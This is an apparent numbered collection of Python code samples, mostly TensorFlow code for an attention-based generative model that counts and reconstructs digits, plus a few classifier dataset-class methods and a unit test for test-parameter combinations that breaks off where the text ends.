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def _create_annealed_tensor(param, schedule, global_step, eps=10e-10): value = tf.train.exponential_decay( learning_rate=schedule["init"], global_step=global_step, decay_steps=schedule["iters"], decay_rate=schedule["factor"], staircase=False if "staircase" not in schedule else schedule["staircase"], name=param ) if "min" in schedule: value = tf.maximum( value, schedule["min"], name=param + "_max" ) if "max" in schedule: value = tf.minimum( value, schedule["max"], name=param + "_min" ) if "log" in schedule and schedule["log"]: value = tf.log( value + eps, name=param + "_log" ) return value
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def _draw_colored_bounding_boxes(images, boxes, steps): channels = [images, images, images] for s in range(3): # empty canvas with s-th bounding box step_box = tf.expand_dims(boxes[:, s, :, :], 3) for c in range(3): if s == c: # adding the box to c-th channel # if the number of attention steps is greater than s channels[c] = tf.where( tf.greater(steps, s), tf.minimum(channels[c] + step_box, tf.ones_like(images)), channels[c] ) else: # subtracting the box from channels other than c-th # if the number of attention steps is greater than s channels[c] = tf.where( tf.greater(steps, s), tf.maximum(channels[c] - step_box, tf.zeros_like(images)), channels[c] ) # concatenating all three channels to obtain # potentially three R, G, and B bounding boxes return tf.concat(channels, axis=3)
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def _summarize_by_step(self, tensor, steps, name, one_more_step=False, all_steps=False): # padding (if required) the number of rows in the tensor # up to self.max_steps to avoid possible "out of range" errors # in case if there were less than self.max_steps steps globally tensor = tf.pad(tensor, [[0, 0], [0, self.max_steps - tf.shape(tensor)[1]]]) for i in range(self.max_steps): if all_steps: # summarizing the entire (i+1)-st step without # differentiating between actual step counts self._summarize_by_digit_count( tensor[:, i], self.target_num_digits, name + "_" + str(i+1) + "_step" ) else: # considering one more step if required by one_more_step=True # by subtracting 1 from loop variable i (e.g. 0 steps > -1) mask = tf.greater(steps, i - (1 if one_more_step else 0)) # summarizing (i+1)-st step only for those # batch items that actually had (i+1)-st step self._summarize_by_digit_count( tf.boolean_mask(tensor[:, i], mask), tf.boolean_mask(self.target_num_digits, mask), name + "_" + str(i+1) + "_step" )
804
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def _summarize_by_digit_count(self, tensor, digits, name): # converting to float in case of int tensors float_tensor = tf.cast(tensor, tf.float32) for i in range(self.max_digits+1): # summarizing the scalar for only those # images that have exactly i digits self.num_summaries.append( tf.summary.scalar( name + "_" + str(i) + "_dig", tf.reduce_mean(tf.boolean_mask( float_tensor, tf.equal(digits, i) )) ) ) # summarizing the scalar for all images self.num_summaries.append( tf.summary.scalar( name + "_all_dig", tf.reduce_mean(float_tensor) ) )
805
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def _create_model(self): # condition of tf.while_loop def cond(step, stopping_sum, *_): return tf.logical_and( tf.less(step, self.max_steps), tf.reduce_any(tf.less(stopping_sum, self.stopping_threshold)) ) # body of tf.while_loop def body(step, stopping_sum, prev_state, running_recon, running_loss, running_digits, scales_ta, shifts_ta, z_pres_probs_ta, z_pres_kls_ta, scale_kls_ta, shift_kls_ta, vae_kls_ta, st_backward_ta, windows_ta, latents_ta): with tf.variable_scope("rnn") as scope: # RNN time step outputs, next_state = cell(self.rnn_input, prev_state, scope=scope) with tf.variable_scope("scale"): # sampling scale with tf.variable_scope("mean"): with tf.variable_scope("hidden") as scope: hidden = layers.fully_connected(outputs, self.scale_hidden_units, scope=scope) with tf.variable_scope("output") as scope: scale_mean = layers.fully_connected(hidden, 1, activation_fn=None, scope=scope) with tf.variable_scope("log_variance"): with tf.variable_scope("hidden") as scope: hidden = layers.fully_connected(outputs, self.scale_hidden_units, scope=scope) with tf.variable_scope("output") as scope: scale_log_variance = layers.fully_connected(hidden, 1, activation_fn=None, scope=scope) scale_variance = tf.exp(scale_log_variance) scale = tf.nn.sigmoid(self._sample_from_mvn(scale_mean, scale_variance)) scales_ta = scales_ta.write(scales_ta.size(), scale) s = scale[:, 0] with tf.variable_scope("shift"): # sampling shift with tf.variable_scope("mean"): with tf.variable_scope("hidden") as scope: hidden = layers.fully_connected(outputs, self.shift_hidden_units, scope=scope) with tf.variable_scope("output") as scope: shift_mean = layers.fully_connected(hidden, 2, activation_fn=None, scope=scope) with tf.variable_scope("log_variance"): with tf.variable_scope("hidden") as scope: hidden = layers.fully_connected(outputs, self.shift_hidden_units, scope=scope) with tf.variable_scope("output") as scope: shift_log_variance = layers.fully_connected(hidden, 2, activation_fn=None, scope=scope) shift_variance = tf.exp(shift_log_variance) shift = tf.nn.tanh(self._sample_from_mvn(shift_mean, shift_variance)) shifts_ta = shifts_ta.write(shifts_ta.size(), shift) x, y = shift[:, 0], shift[:, 1] with tf.variable_scope("st_forward"): # ST: theta of forward transformation theta = tf.stack([ tf.concat([tf.stack([s, tf.zeros_like(s)], axis=1), tf.expand_dims(x, 1)], axis=1), tf.concat([tf.stack([tf.zeros_like(s), s], axis=1), tf.expand_dims(y, 1)], axis=1), ], axis=1) # ST forward transformation: canvas -> window window = transformer( tf.expand_dims(tf.reshape(self.input_images, [-1, self.canvas_size, self.canvas_size]), 3), theta, [self.windows_size, self.windows_size] )[:, :, :, 0] with tf.variable_scope("vae"): # reconstructing the window in VAE vae_recon, vae_mean, vae_log_variance, vae_latent = vae( tf.reshape(window, [-1, self.windows_size * self.windows_size]), self.windows_size ** 2, self.vae_recognition_units, self.vae_latent_dimensions, self.vae_generative_units, self.vae_likelihood_std ) # collecting individual reconstruction windows # for each of the inferred digits on the canvas windows_ta = windows_ta.write(windows_ta.size(), vae_recon) # collecting individual latent variable values # for each of the inferred digits on the canvas latents_ta = latents_ta.write(latents_ta.size(), vae_latent) with tf.variable_scope("st_backward"): # ST: theta of backward transformation theta_recon = tf.stack([ tf.concat([tf.stack([1.0 / s, tf.zeros_like(s)], axis=1), tf.expand_dims(-x / s, 1)], axis=1), tf.concat([tf.stack([tf.zeros_like(s), 1.0 / s], axis=1), tf.expand_dims(-y / s, 1)], axis=1), ], axis=1) # collecting backward transformation matrices of ST # to be used for visualizing the attention windows st_backward_ta = st_backward_ta.write(st_backward_ta.size(), theta_recon) # ST backward transformation: window -> canvas window_recon = transformer( tf.expand_dims(tf.reshape(vae_recon, [-1, self.windows_size, self.windows_size]), 3), theta_recon, [self.canvas_size, self.canvas_size] )[:, :, :, 0] with tf.variable_scope("z_pres"): # sampling relaxed (continuous) value of z_pres flag # from Concrete distribution (closer to 1 - more digits, # closer to 0 - no more digits) with tf.variable_scope("log_odds"): with tf.variable_scope("hidden") as scope: hidden = layers.fully_connected(outputs, self.z_pres_hidden_units, scope=scope) with tf.variable_scope("output") as scope: z_pres_log_odds = layers.fully_connected(hidden, 1, activation_fn=None, scope=scope)[:, 0] with tf.variable_scope("gumbel"): # sampling pre-sigmoid value from concrete distribution # with given location (z_pres_log_odds) and temperature z_pres_pre_sigmoid = concrete_binary_pre_sigmoid_sample( z_pres_log_odds, self.z_pres_temperature ) # applying sigmoid to render the Concrete sample z_pres = tf.nn.sigmoid(z_pres_pre_sigmoid) # during test time, rounding the Concrete sample # to obtain the corresponding Bernoulli sample if not self.train: z_pres = tf.round(z_pres) # computing and collecting underlying Bernoulli # probability from inferred log-odds solely for # analysis purposes (not used in the model) z_pres_prob = tf.nn.sigmoid(z_pres_log_odds) z_pres_probs_ta = z_pres_probs_ta.write(z_pres_probs_ta.size(), z_pres_prob) with tf.variable_scope("loss/z_pres_kl"): # z_pres KL-divergence: # previous value of stop_sum is used # to account for KL of first z_pres after # stop_sum becomes >= 1.0 z_pres_kl = concrete_binary_kl_mc_sample( z_pres_pre_sigmoid, self.z_pres_prior_log_odds, self.z_pres_temperature, z_pres_log_odds, self.z_pres_temperature ) # adding z_pres KL scaled by z_pres to the loss # for those batch items that are not yet finished running_loss += tf.where( tf.less(stopping_sum, self.stopping_threshold), z_pres_kl, tf.zeros_like(running_loss) ) # populating z_pres KL's TensorArray with a new value z_pres_kls_ta = z_pres_kls_ta.write(z_pres_kls_ta.size(), z_pres_kl) # updating stop sum by adding (1 - z_pres) to it: # for small z_pres values stop_sum becomes greater # or equal to self.stopping_threshold and attention # counting of the corresponding batch item stops stopping_sum += (1.0 - z_pres) # updating inferred number of digits per batch item running_digits += tf.cast(tf.less(stopping_sum, self.stopping_threshold), tf.int32) with tf.variable_scope("canvas"): # continuous relaxation: # adding reconstructed window scaled # by z_pres to the running canvas running_recon += tf.where( tf.less(stopping_sum, self.stopping_threshold), tf.expand_dims(z_pres, 1) * tf.reshape( window_recon, [-1, self.canvas_size * self.canvas_size] ), tf.zeros_like(running_recon) ) with tf.variable_scope("loss/scale_kl"): # scale KL-divergence scale_kl = 0.5 * tf.reduce_sum( self.scale_prior_log_variance - scale_log_variance - 1.0 + scale_variance / self.scale_prior_variance + tf.square(scale_mean - self.scale_prior_mean) / self.scale_prior_variance, 1 ) # adding scale KL scaled by z_pres to the loss # for those batch items that are not yet finished running_loss += tf.where( tf.less(stopping_sum, self.stopping_threshold), scale_kl, tf.zeros_like(running_loss) ) # populating scale KL's TensorArray with a new value scale_kls_ta = scale_kls_ta.write(scale_kls_ta.size(), scale_kl) with tf.variable_scope("loss/shift_kl"): # shift KL-divergence shift_kl = 0.5 * tf.reduce_sum( self.shift_prior_log_variance - shift_log_variance - 1.0 + shift_variance / self.shift_prior_variance + tf.square(shift_mean - self.shift_prior_mean) / self.shift_prior_variance, 1 ) # adding shift KL scaled by z_pres to the loss # for those batch items that are not yet finished running_loss += tf.where( tf.less(stopping_sum, self.stopping_threshold), shift_kl, tf.zeros_like(running_loss) ) # populating shift KL's TensorArray with a new value shift_kls_ta = shift_kls_ta.write(shift_kls_ta.size(), shift_kl) with tf.variable_scope("loss/VAE_kl"): # VAE KL-divergence vae_kl = 0.5 * tf.reduce_sum( self.vae_prior_log_variance - vae_log_variance - 1.0 + tf.exp(vae_log_variance) / self.vae_prior_variance + tf.square(vae_mean - self.vae_prior_mean) / self.vae_prior_variance, 1 ) # adding VAE KL scaled by (1-z_pres) to the loss # for those batch items that are not yet finished running_loss += tf.where( tf.less(stopping_sum, self.stopping_threshold), vae_kl, tf.zeros_like(running_loss) ) # populating VAE KL's TensorArray with a new value vae_kls_ta = vae_kls_ta.write(vae_kls_ta.size(), vae_kl) # explicating the shape of "batch-sized" # tensors for TensorFlow graph compiler stopping_sum.set_shape([None]) running_digits.set_shape([None]) running_loss.set_shape([None]) return step + 1, stopping_sum, next_state, \ running_recon, running_loss, running_digits, \ scales_ta, shifts_ta, z_pres_probs_ta, \ z_pres_kls_ta, scale_kls_ta, shift_kls_ta, vae_kls_ta, \ st_backward_ta, windows_ta, latents_ta if self.cnn: with tf.variable_scope("cnn") as cnn_scope: cnn_input = tf.reshape(self.input_images, [-1, 50, 50, 1], name="cnn_input") conv1 = tf.layers.conv2d( inputs=cnn_input, filters=self.cnn_filters, kernel_size=[5, 5], strides=(1, 1), padding="same", activation=tf.nn.relu, reuse=cnn_scope.reuse, name="conv1" ) pool1 = tf.layers.max_pooling2d(inputs=conv1, pool_size=[2, 2], strides=2, name="pool1") conv2 = tf.layers.conv2d( inputs=pool1, filters=self.cnn_filters, kernel_size=[5, 5], strides=(1, 1), padding="same", activation=tf.nn.relu, reuse=cnn_scope.reuse, name="conv2" ) pool2 = tf.layers.max_pooling2d(inputs=conv2, pool_size=[2, 2], strides=2, name="pool2") conv3 = tf.layers.conv2d( inputs=pool2, filters=self.cnn_filters, kernel_size=[5, 5], strides=(1, 1), padding="same", activation=tf.nn.relu, reuse=cnn_scope.reuse, name="conv3" ) self.rnn_input = tf.reshape(conv3, [-1, 12 * 12 * self.cnn_filters], name="cnn_output") else: self.rnn_input = self.input_images with tf.variable_scope("rnn") as rnn_scope: # creating RNN cells and initial state cell = rnn.BasicLSTMCell(self.rnn_units, reuse=rnn_scope.reuse) rnn_init_state = cell.zero_state( self.batch_size, self.input_images.dtype ) # RNN while_loop with variable number of steps for each batch item _, _, _, reconstruction, loss, self.rec_num_digits, scales, shifts, \ z_pres_probs, z_pres_kls, scale_kls, shift_kls, vae_kls, \ st_backward, windows, latents = tf.while_loop( cond, body, [ tf.constant(0), # RNN time step, initially zero tf.zeros([self.batch_size]), # running sum of z_pres samples rnn_init_state, # initial RNN state tf.zeros_like(self.input_images), # reconstruction canvas, initially empty tf.zeros([self.batch_size]), # running value of the loss function tf.zeros([self.batch_size], dtype=tf.int32), # running inferred number of digits tf.TensorArray(dtype=tf.float32, size=0, dynamic_size=True), # inferred scales tf.TensorArray(dtype=tf.float32, size=0, dynamic_size=True), # inferred shifts tf.TensorArray(dtype=tf.float32, size=0, dynamic_size=True), # z_pres probabilities tf.TensorArray(dtype=tf.float32, size=0, dynamic_size=True), # z_pres KL-divergence tf.TensorArray(dtype=tf.float32, size=0, dynamic_size=True), # scale KL-divergence tf.TensorArray(dtype=tf.float32, size=0, dynamic_size=True), # shift KL-divergence tf.TensorArray(dtype=tf.float32, size=0, dynamic_size=True), # VAE KL-divergence tf.TensorArray(dtype=tf.float32, size=0, dynamic_size=True), # backward ST matrices tf.TensorArray(dtype=tf.float32, size=0, dynamic_size=True), # individual recon. windows tf.TensorArray(dtype=tf.float32, size=0, dynamic_size=True) # latents of individual digits ] ) # transposing contents of TensorArray's fetched from while_loop iterations self.rec_scales = tf.transpose(scales.stack(), (1, 0, 2), name="rec_scales") self.rec_shifts = tf.transpose(shifts.stack(), (1, 0, 2), name="rec_shifts") self.rec_st_back = tf.transpose(st_backward.stack(), (1, 0, 2, 3), name="rec_st_back") self.rec_windows = tf.transpose(windows.stack(), (1, 0, 2), name="rec_windows") self.rec_latents = tf.transpose(latents.stack(), (1, 0, 2), name="rec_windows") self.z_pres_probs = tf.transpose(z_pres_probs.stack(), name="z_pres_probs") self.z_pres_kls = tf.transpose(z_pres_kls.stack(), name="z_pres_kls") self.scale_kls = tf.transpose(scale_kls.stack(), name="scale_kls") self.shift_kls = tf.transpose(shift_kls.stack(), name="shift_kls") self.vae_kls = tf.transpose(vae_kls.stack(), name="vae_kls") with tf.variable_scope("loss/reconstruction"): # clipping the reconstructed canvas by [0.0, 1.0] self.reconstruction = tf.maximum(tf.minimum(reconstruction, 1.0), 0.0, name="clipped_rec") # reconstruction loss: cross-entropy between # original images and their reconstructions self.reconstruction_loss = -tf.reduce_sum( self.input_images * tf.log(self.reconstruction + 10e-10) + (1.0 - self.input_images) * tf.log(1.0 - self.reconstruction + 10e-10), 1, name="reconstruction_loss" ) # adding reconstruction loss loss += self.reconstruction_loss with tf.variable_scope("accuracy"): # accuracy of inferred number of digits accuracy = tf.cast( tf.equal(self.target_num_digits, self.rec_num_digits), tf.float32 ) var_scope = tf.get_variable_scope().name model_vars = [ v for v in tf.trainable_variables() if v.name.startswith(var_scope) ] with tf.variable_scope("summaries"): # averaging between batch items self.loss = tf.reduce_mean(loss, name="loss") self.accuracy = tf.reduce_mean(accuracy, name="accuracy") # post while-loop numeric summaries grouped by digit count self._summarize_by_digit_count(self.rec_num_digits, self.target_num_digits, "steps") self._summarize_by_digit_count(self.reconstruction_loss, self.target_num_digits, "rec_loss") self._summarize_by_digit_count(accuracy, self.target_num_digits, "digit_acc") self._summarize_by_digit_count(loss, self.target_num_digits, "total_loss") # step-level numeric summaries (from within while-loop) grouped by step and digit count self._summarize_by_step(self.rec_scales[:, :, 0], self.rec_num_digits, "scale") self._summarize_by_step(self.z_pres_probs, self.rec_num_digits, "z_pres_prob", all_steps=True) self._summarize_by_step(self.z_pres_kls, self.rec_num_digits, "z_pres_kl", one_more_step=True) self._summarize_by_step(self.scale_kls, self.rec_num_digits, "scale_kl") self._summarize_by_step(self.shift_kls, self.rec_num_digits, "shift_kl") self._summarize_by_step(self.vae_kls, self.rec_num_digits, "vae_kl") # image summary of the reconstructions self.img_summaries.append( tf.summary.image( "reconstruction", self._visualize_reconstructions( self.input_images[:self.num_summary_images], self.reconstruction[:self.num_summary_images], self.rec_st_back[:self.num_summary_images], self.rec_num_digits[:self.num_summary_images], zoom=2 ), max_outputs=self.num_summary_images ) ) # variable summaries for v in model_vars: self.var_summaries.append( tf.summary.histogram( v.name, v.value() ) ) if self.train: with tf.variable_scope("training"): # optimizer to minimize the loss function optimizer = tf.train.AdamOptimizer(self.learning_rate) grads, variables = zip(*optimizer.compute_gradients(self.loss)) if self.gradient_clipping_norm is not None: for i in range(len(grads)): if grads[i] is None: continue # summaries of the original gradient values self.grad_summaries.append(tf.summary.histogram( variables[i].name + "_grad_original", grads[i] )) self.grad_summaries.append(tf.summary.scalar( variables[i].name + "_grad_original_norm", tf.norm(grads[i]) )) self.grad_summaries.append(tf.summary.scalar( variables[i].name + "_grad_original_avg", tf.reduce_mean(grads[i]) )) # gradient clipping by global norm, if required grads = tf.clip_by_global_norm(grads, self.gradient_clipping_norm)[0] for i in range(len(grads)): if grads[i] is None: continue # summaries of the applied (maybe clipped) gradients self.grad_summaries.append(tf.summary.histogram( variables[i].name + "_grad_applied", grads[i] )) self.grad_summaries.append(tf.summary.scalar( variables[i].name + "_grad_applied_norm", tf.norm(grads[i]) )) self.grad_summaries.append(tf.summary.scalar( variables[i].name + "_grad_applied_avg", tf.reduce_mean(grads[i]) )) grads_and_vars = list(zip(grads, variables)) # training step operation self.training = optimizer.apply_gradients( grads_and_vars, global_step=self.global_step )
806
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def _visualize_reconstructions(self, original, reconstruction, st_back, steps, zoom): # enlarging the original images large_original = tf.image.resize_images( tf.reshape(original, [-1, self.canvas_size, self.canvas_size, 1]), [zoom * self.canvas_size, zoom * self.canvas_size] ) # enlarging the reconstructions large_reconstruction = tf.image.resize_images( tf.reshape(reconstruction, [-1, self.canvas_size, self.canvas_size, 1]), [zoom * self.canvas_size, zoom * self.canvas_size] ) # padding (if required) the number of backward ST matrices up to # self.max_steps to avoid possible misalignment errors in case # if there were less than self.max_steps steps globally st_back = tf.pad(st_back, [ [0, 0], [0, self.max_steps - tf.shape(st_back)[1]], [0, 0], [0, 0] ]) # drawing the attention windows # using backward ST matrices num_images = tf.shape(original)[0] boxes = tf.reshape( tf.clip_by_value( transformer( tf.expand_dims( tf.image.draw_bounding_boxes( tf.zeros( [num_images * self.max_steps, self.windows_size, self.windows_size, 1], dtype=reconstruction.dtype ), tf.tile( [[[0.0, 0.0, 1.0, 1.0]]], [num_images * self.max_steps, 1, 1] ) ), 3 ), st_back, [zoom * self.canvas_size, zoom * self.canvas_size] ), 0.0, 1.0 ), [num_images, self.max_steps, zoom * self.canvas_size, zoom * self.canvas_size] ) # sharpening the borders # of the attention windows boxes = tf.where( tf.greater(boxes, 0.01), tf.ones_like(boxes), tf.zeros_like(boxes) ) # concatenating resulting original and reconstructed images with # bounding boxes drawn on them and a thin white stripe between them return tf.concat([ self._draw_colored_bounding_boxes(large_original, boxes, steps), # original images with boxes tf.ones([tf.shape(large_original)[0], zoom * self.canvas_size, 4, 3]), # thin white stripe between self._draw_colored_bounding_boxes(large_reconstruction, boxes, steps), # reconstructed images with boxes ], axis=2)
807
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def __eq__(self, other): # early exit if data formats are not the same (otherwise we might crash) if self.metadata['metadata_version'] != other.metadata['metadata_version']: return False data_equal = all([ np.array_equal(self._data[k], other._data[k]) for k in self._data.keys() ]) metadata_equal = all([ self.feature_names == other.feature_names, self.metadata.get('performance_scores', None) == other.metadata.get('performance_scores', None), ]) classifier_equal = ( self._clf.__class__ == other._clf.__class__ and self._clf.get_params() == other._clf.get_params() ) return data_equal and metadata_equal and classifier_equal
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def body(step, stopping_sum, prev_state, running_recon, running_loss, running_digits, scales_ta, shifts_ta, z_pres_probs_ta, z_pres_kls_ta, scale_kls_ta, shift_kls_ta, vae_kls_ta, st_backward_ta, windows_ta, latents_ta): with tf.variable_scope("rnn") as scope: # RNN time step outputs, next_state = cell(self.rnn_input, prev_state, scope=scope) with tf.variable_scope("scale"): # sampling scale with tf.variable_scope("mean"): with tf.variable_scope("hidden") as scope: hidden = layers.fully_connected(outputs, self.scale_hidden_units, scope=scope) with tf.variable_scope("output") as scope: scale_mean = layers.fully_connected(hidden, 1, activation_fn=None, scope=scope) with tf.variable_scope("log_variance"): with tf.variable_scope("hidden") as scope: hidden = layers.fully_connected(outputs, self.scale_hidden_units, scope=scope) with tf.variable_scope("output") as scope: scale_log_variance = layers.fully_connected(hidden, 1, activation_fn=None, scope=scope) scale_variance = tf.exp(scale_log_variance) scale = tf.nn.sigmoid(self._sample_from_mvn(scale_mean, scale_variance)) scales_ta = scales_ta.write(scales_ta.size(), scale) s = scale[:, 0] with tf.variable_scope("shift"): # sampling shift with tf.variable_scope("mean"): with tf.variable_scope("hidden") as scope: hidden = layers.fully_connected(outputs, self.shift_hidden_units, scope=scope) with tf.variable_scope("output") as scope: shift_mean = layers.fully_connected(hidden, 2, activation_fn=None, scope=scope) with tf.variable_scope("log_variance"): with tf.variable_scope("hidden") as scope: hidden = layers.fully_connected(outputs, self.shift_hidden_units, scope=scope) with tf.variable_scope("output") as scope: shift_log_variance = layers.fully_connected(hidden, 2, activation_fn=None, scope=scope) shift_variance = tf.exp(shift_log_variance) shift = tf.nn.tanh(self._sample_from_mvn(shift_mean, shift_variance)) shifts_ta = shifts_ta.write(shifts_ta.size(), shift) x, y = shift[:, 0], shift[:, 1] with tf.variable_scope("st_forward"): # ST: theta of forward transformation theta = tf.stack([ tf.concat([tf.stack([s, tf.zeros_like(s)], axis=1), tf.expand_dims(x, 1)], axis=1), tf.concat([tf.stack([tf.zeros_like(s), s], axis=1), tf.expand_dims(y, 1)], axis=1), ], axis=1) # ST forward transformation: canvas -> window window = transformer( tf.expand_dims(tf.reshape(self.input_images, [-1, self.canvas_size, self.canvas_size]), 3), theta, [self.windows_size, self.windows_size] )[:, :, :, 0] with tf.variable_scope("vae"): # reconstructing the window in VAE vae_recon, vae_mean, vae_log_variance, vae_latent = vae( tf.reshape(window, [-1, self.windows_size * self.windows_size]), self.windows_size ** 2, self.vae_recognition_units, self.vae_latent_dimensions, self.vae_generative_units, self.vae_likelihood_std ) # collecting individual reconstruction windows # for each of the inferred digits on the canvas windows_ta = windows_ta.write(windows_ta.size(), vae_recon) # collecting individual latent variable values # for each of the inferred digits on the canvas latents_ta = latents_ta.write(latents_ta.size(), vae_latent) with tf.variable_scope("st_backward"): # ST: theta of backward transformation theta_recon = tf.stack([ tf.concat([tf.stack([1.0 / s, tf.zeros_like(s)], axis=1), tf.expand_dims(-x / s, 1)], axis=1), tf.concat([tf.stack([tf.zeros_like(s), 1.0 / s], axis=1), tf.expand_dims(-y / s, 1)], axis=1), ], axis=1) # collecting backward transformation matrices of ST # to be used for visualizing the attention windows st_backward_ta = st_backward_ta.write(st_backward_ta.size(), theta_recon) # ST backward transformation: window -> canvas window_recon = transformer( tf.expand_dims(tf.reshape(vae_recon, [-1, self.windows_size, self.windows_size]), 3), theta_recon, [self.canvas_size, self.canvas_size] )[:, :, :, 0] with tf.variable_scope("z_pres"): # sampling relaxed (continuous) value of z_pres flag # from Concrete distribution (closer to 1 - more digits, # closer to 0 - no more digits) with tf.variable_scope("log_odds"): with tf.variable_scope("hidden") as scope: hidden = layers.fully_connected(outputs, self.z_pres_hidden_units, scope=scope) with tf.variable_scope("output") as scope: z_pres_log_odds = layers.fully_connected(hidden, 1, activation_fn=None, scope=scope)[:, 0] with tf.variable_scope("gumbel"): # sampling pre-sigmoid value from concrete distribution # with given location (z_pres_log_odds) and temperature z_pres_pre_sigmoid = concrete_binary_pre_sigmoid_sample( z_pres_log_odds, self.z_pres_temperature ) # applying sigmoid to render the Concrete sample z_pres = tf.nn.sigmoid(z_pres_pre_sigmoid) # during test time, rounding the Concrete sample # to obtain the corresponding Bernoulli sample if not self.train: z_pres = tf.round(z_pres) # computing and collecting underlying Bernoulli # probability from inferred log-odds solely for # analysis purposes (not used in the model) z_pres_prob = tf.nn.sigmoid(z_pres_log_odds) z_pres_probs_ta = z_pres_probs_ta.write(z_pres_probs_ta.size(), z_pres_prob) with tf.variable_scope("loss/z_pres_kl"): # z_pres KL-divergence: # previous value of stop_sum is used # to account for KL of first z_pres after # stop_sum becomes >= 1.0 z_pres_kl = concrete_binary_kl_mc_sample( z_pres_pre_sigmoid, self.z_pres_prior_log_odds, self.z_pres_temperature, z_pres_log_odds, self.z_pres_temperature ) # adding z_pres KL scaled by z_pres to the loss # for those batch items that are not yet finished running_loss += tf.where( tf.less(stopping_sum, self.stopping_threshold), z_pres_kl, tf.zeros_like(running_loss) ) # populating z_pres KL's TensorArray with a new value z_pres_kls_ta = z_pres_kls_ta.write(z_pres_kls_ta.size(), z_pres_kl) # updating stop sum by adding (1 - z_pres) to it: # for small z_pres values stop_sum becomes greater # or equal to self.stopping_threshold and attention # counting of the corresponding batch item stops stopping_sum += (1.0 - z_pres) # updating inferred number of digits per batch item running_digits += tf.cast(tf.less(stopping_sum, self.stopping_threshold), tf.int32) with tf.variable_scope("canvas"): # continuous relaxation: # adding reconstructed window scaled # by z_pres to the running canvas running_recon += tf.where( tf.less(stopping_sum, self.stopping_threshold), tf.expand_dims(z_pres, 1) * tf.reshape( window_recon, [-1, self.canvas_size * self.canvas_size] ), tf.zeros_like(running_recon) ) with tf.variable_scope("loss/scale_kl"): # scale KL-divergence scale_kl = 0.5 * tf.reduce_sum( self.scale_prior_log_variance - scale_log_variance - 1.0 + scale_variance / self.scale_prior_variance + tf.square(scale_mean - self.scale_prior_mean) / self.scale_prior_variance, 1 ) # adding scale KL scaled by z_pres to the loss # for those batch items that are not yet finished running_loss += tf.where( tf.less(stopping_sum, self.stopping_threshold), scale_kl, tf.zeros_like(running_loss) ) # populating scale KL's TensorArray with a new value scale_kls_ta = scale_kls_ta.write(scale_kls_ta.size(), scale_kl) with tf.variable_scope("loss/shift_kl"): # shift KL-divergence shift_kl = 0.5 * tf.reduce_sum( self.shift_prior_log_variance - shift_log_variance - 1.0 + shift_variance / self.shift_prior_variance + tf.square(shift_mean - self.shift_prior_mean) / self.shift_prior_variance, 1 ) # adding shift KL scaled by z_pres to the loss # for those batch items that are not yet finished running_loss += tf.where( tf.less(stopping_sum, self.stopping_threshold), shift_kl, tf.zeros_like(running_loss) ) # populating shift KL's TensorArray with a new value shift_kls_ta = shift_kls_ta.write(shift_kls_ta.size(), shift_kl) with tf.variable_scope("loss/VAE_kl"): # VAE KL-divergence vae_kl = 0.5 * tf.reduce_sum( self.vae_prior_log_variance - vae_log_variance - 1.0 + tf.exp(vae_log_variance) / self.vae_prior_variance + tf.square(vae_mean - self.vae_prior_mean) / self.vae_prior_variance, 1 ) # adding VAE KL scaled by (1-z_pres) to the loss # for those batch items that are not yet finished running_loss += tf.where( tf.less(stopping_sum, self.stopping_threshold), vae_kl, tf.zeros_like(running_loss) ) # populating VAE KL's TensorArray with a new value vae_kls_ta = vae_kls_ta.write(vae_kls_ta.size(), vae_kl) # explicating the shape of "batch-sized" # tensors for TensorFlow graph compiler stopping_sum.set_shape([None]) running_digits.set_shape([None]) running_loss.set_shape([None]) return step + 1, stopping_sum, next_state, \ running_recon, running_loss, running_digits, \ scales_ta, shifts_ta, z_pres_probs_ta, \ z_pres_kls_ta, scale_kls_ta, shift_kls_ta, vae_kls_ta, \ st_backward_ta, windows_ta, latents_ta
809
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10
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def validate_data(self): if len(self._data['features_train']) != len(self._data['labels_train']): raise ValueError('Number of features and labels must be the same.') features_mismatch = self.features_train.shape[1] != self.features_test.shape[1] labels_dims_train = self.labels_train.shape[1] if self.labels_train.ndim > 1 else 1 labels_dims_test = self.labels_test.shape[1] if self.labels_test.ndim > 1 else 1 labels_mismatch = labels_dims_train != labels_dims_test if features_mismatch or labels_mismatch: raise ValueError('Training and test data must have the same dimensionality.') if self.feature_names is not None and self.features_train.shape[1] != len(self.feature_names): raise ValueError('Number of feature_names must match the number of features.') if 'feature_names' not in self.metadata: raise ValueError('feature_names must be provided.')
810
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def __getattr__(self, name): if name in self._data.keys(): return self._data[name] elif name in self.metadata.keys(): return self.metadata[name] elif name in self.metadata.get('performance_scores', {}).keys(): return self.metadata['performance_scores'][name] else: return getattr(self._clf, name)
811
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class TestingCombinationsTest(test.TestCase): def test_combine(self): self.assertEqual([{ "a": 1, "b": 2 }, { "a": 1, "b": 3 }, { "a": 2, "b": 2 }, { "a": 2, "b": 3 }], combinations.combine(a=[1, 2], b=[2, 3])) def test_combine_single_parameter(self): self.assertEqual([{ "a": 1, "b": 2 }, { "a": 2, "b": 2 }], combinations.combine(a=[1, 2], b=2)) def test_add(self): self.assertEqual( [{ "a": 1 }, { "a": 2 }, { "b": 2 }, { "b": 3 }], combinations.combine(a=[1, 2]) + combinations.combine(b=[2, 3])) def test_times(self): c1 = combinations.combine(mode=["graph"], loss=["callable", "tensor"]) c2 = combinations.combine(mode=["eager"], loss=["callable"]) c3 = combinations.combine(distribution=["d1", "d2"]) c4 = combinations.times(c3, c1 + c2) self.assertEqual([ OrderedDict([("distribution", "d1"), ("loss", "callable"), ("mode", "graph")]), OrderedDict([("distribution", "d1"), ("loss", "tensor"), ("mode", "graph")]), OrderedDict([("distribution", "d1"), ("loss", "callable"), ("mode", "eager")]), OrderedDict([("distribution", "d2"), ("loss", "callable"), ("mode", "graph")]), OrderedDict([("distribution", "d2"), ("loss", "tensor"), ("mode", "graph")]), OrderedDict([("distribution", "d2"), ("loss", "callable"), ("mode", "eager")]) ], c4) def test_times_variable_arguments(self): c1 = combinations.combine(mode=["graph", "eager"]) c2 = combinations.combine(optimizer=["adam", "gd"]) c3 = combinations.combine(distribution=["d1", "d2"]) c4 = combinations.times(c3, c1, c2) self.assertEqual([ OrderedDict([("distribution", "d1"), ("mode", "graph"), ("optimizer", "adam")]), OrderedDict([("distribution", "d1"), ("mode", "graph"), ("optimizer", "gd")]), OrderedDict([("distribution", "d1"), ("mode", "eager"), ("optimizer", "adam")]), OrderedDict([("distribution", "d1"), ("mode", "eager"), ("optimizer", "gd")]), OrderedDict([("distribution", "d2"), ("mode", "graph"), ("optimizer", "adam")]), OrderedDict([("distribution", "d2"), ("mode", "graph"), ("optimizer", "gd")]), OrderedDict([("distribution", "d2"), ("mode", "eager"), ("optimizer", 